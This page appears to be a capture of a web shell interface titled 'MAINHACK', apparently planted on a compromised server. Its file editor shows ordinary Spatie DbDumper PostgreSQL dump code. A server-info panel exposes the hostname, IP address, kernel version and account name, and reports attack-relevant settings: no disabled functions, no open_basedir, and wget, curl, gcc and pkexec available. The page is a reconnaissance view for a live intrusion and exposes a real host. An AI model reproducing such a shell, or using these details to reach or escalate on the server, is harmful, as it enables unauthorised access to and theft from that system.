[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PostgreSql.php
<?php namespace Spatie\DbDumper\Databases; use Spatie\DbDumper\DbDumper; use Spatie\DbDumper\Exceptions\CannotStartDump; use Symfony\Component\Process\Process; class PostgreSql extends DbDumper { protected bool $useInserts = false; protected bool $createTables = true; /** @var false|resource */ private $tempFileHandle; public function __construct() { $this->port = 5432; } public function useInserts(): self { $this->useInserts = true; return $this; } public function dumpToFile(string $dumpFile): void { $this->guardAgainstIncompleteCredentials(); $tempFileHandle = tmpfile(); $this->setTempFileHandle($tempFileHandle); $process = $this->getProcess($dumpFile); $process->run(); $this->checkIfDumpWasSuccessFul($process, $dumpFile); } public function getDumpCommand(string $dumpFile): string { $quote = $this->determineQuote(); $command = [ "{$quote}{$this->dumpBinaryPath}pg_dump{$quote}", "-U \"{$this->userName}\"", '-h '.($this->socket === '' ? $this->host : $this->socket), "-p {$this->port}", ]; if ($this->useInserts) { $command[] = '--inserts'; } if (! $this->createTables) { $command[] = '--data-only'; } foreach ($this->extraOptions as $extraOption) { $command[] = $extraOption; } if (! empty($this->includeTables)) { $command[] = '-t '.implode(' -t ', $this->includeTables); } if (! empty($this->excludeTables)) { $command[] = '-T '.implode(' -T ', $this->excludeTables); } return $this->echoToFile(implode(' ', $command), $dumpFile); } public function getContentsOfCredentialsFile(): string { $contents = [ $this->escapeCredentialEntry($this->host), $this->escapeCredentialEntry($this->port), $this->escapeCredentialEntry($this->dbName), $this->escapeCredentialEntry($this->userName), $this->escapeCredentialEntry($this->password), ]; return implode(':', $contents); } protected function escapeCredentialEntry($entry): string { $entry = str_replace('\\', '\\\\', $entry); $entry = str_replace(':', '\\:', $entry); return $entry; } public function guardAgainstIncompleteCredentials() { foreach (['userName', 'dbName', 'host'] as $requiredProperty) { if (empty($this->$requiredProperty)) { throw CannotStartDump::emptyParameter($requiredProperty); } } } protected function getEnvironmentVariablesForDumpCommand(string $temporaryCredentialsFile): array { return [ 'PGPASSFILE' => $temporaryCredentialsFile, 'PGDATABASE' => $this->dbName, ]; } public function doNotCreateTables(): self { $this->createTables = false; return $this; } public function getProcess(string $dumpFile): Process { $command = $this->getDumpCommand($dumpFile); fwrite($this->getTempFileHandle(), $this->getContentsOfCredentialsFile()); $temporaryCredentialsFile = stream_get_meta_data($this->getTempFileHandle())['uri']; $envVars = $this->getEnvironmentVariablesForDumpCommand($temporaryCredentialsFile); return Process::fromShellCommandline($command, null, $envVars, null, $this->timeout); } /** * @return false|resource */ public function getTempFileHandle() { return $this->tempFileHandle; } /** * @param false|resource $tempFileHandle */ public function setTempFileHandle($tempFileHandle): void { $this->tempFileHandle = $tempFileHandle; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002